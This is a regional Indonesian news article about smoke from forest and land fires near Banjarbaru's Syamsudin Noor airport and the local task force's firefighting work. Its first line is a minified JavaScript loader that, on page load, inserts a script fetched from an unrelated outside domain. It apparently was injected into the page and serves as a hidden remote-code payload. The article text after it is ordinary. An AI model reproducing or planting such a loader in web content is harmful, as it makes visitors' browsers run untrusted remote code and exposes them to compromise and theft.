(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Asap dari Karhutla (kebakaran hutan dan lahan) mulai mengancam penerbangan di Bandara Internasional Syamsudin Noor Banjarbaru.
Karhutla yang terjadi di ring 1 wilayah Kecamatan Martapura Barat dan Kecamatan Martapura Timur, Kabupaten Banjar, asapnya berdampak pada mengepung kawasan Bandara Syamsudin Noor.
Satuan Tugas (Satgas) Penanganan Karhutla mengerahkan semua sarana prasarana yang dimiliki ke wilayah Kecamatan Martapura Barat dan Martapura Timur.
Baca juga: Keracunan Umbi Gadung di Cempaka, Seorang Pekerja Meninggal Dunia
Hal tersebut diungkapkan Kepala Pelaksana Badan Penanggulangan Bencana Daerah (BPBD) Kabupaten Banjar Warsita, Rabu (16/8/2023).
“Beberapa poin sudah disepakati dalam rapat, seperti akan mengairi area yang rawan Karhutla dengan air irigasi atau memompa air dari Sungai Martapura dan mengalirkannya,” beber Kalak BPBD Banjar.
Menurut laporan, cukup banyak peralatan dari instansi PUPRP, Dinas Pertanian, Dinas Ketahanan Pangan dan Perikanan (DKPP) yang sudah mempunyai bukpad (buku panduan), serta alat berat yang akan dikerahkan dalam penanganan karhutla.
Warsita menuturkan Satgas Karhutla diminta untuk menyiapkan operasional penanganan Karhutla di Martapura Barat dan Martapura Timur tersebut.
Baca juga: Melaju di Tingkat Nasional, Kelurahan Guntung Manggis Banjarbaru Terima Apresiasi dari Kemendagri
Salah satu titik kebakaran hutan dan lahan (karhutla) yang terjadi pada Rabu (16/8/2023) adalah di Desa Keramat Baru, Kecamatan Martapura Timur.
Tim gabungan terdiri dari BPBD, Dinas Pemadam Kebakaran dan Penyelamatan (DPKP) dan TNI berjibaku melakukan penanganan kebakaran pada lahan yang berdekatan dengan makam Datu Bagul.
Proses pemadaman dibawah terik matahari yang masih menyengat tersebut berakhir pada pukul 17.15 Wita, atau sekitar 1 jam 45 menit penanganan. Api membakar sedikitnya 2 hektare lahan dengan vegetasi semak belukar, purun dan bindrang.
Baca juga: Tak Setor Pajak, Direktur Perusahaan di Kalteng Divonis Penjara 2 Tahun
Pada Rabu (16/8/2023), Karhutla terjadi lagi, tepatnya di lahan daerah Pengayuan RT 2, Kelurahan Landasan Ulin Selatan, Kota Banjarbaru. Api berkobar membakar lahan yang ditumbuhi rumput, pohon dan semak. (Kanalkalimantan.com/bie)
Reporter : bie
Editor : kk
Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More
KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More
This website uses cookies.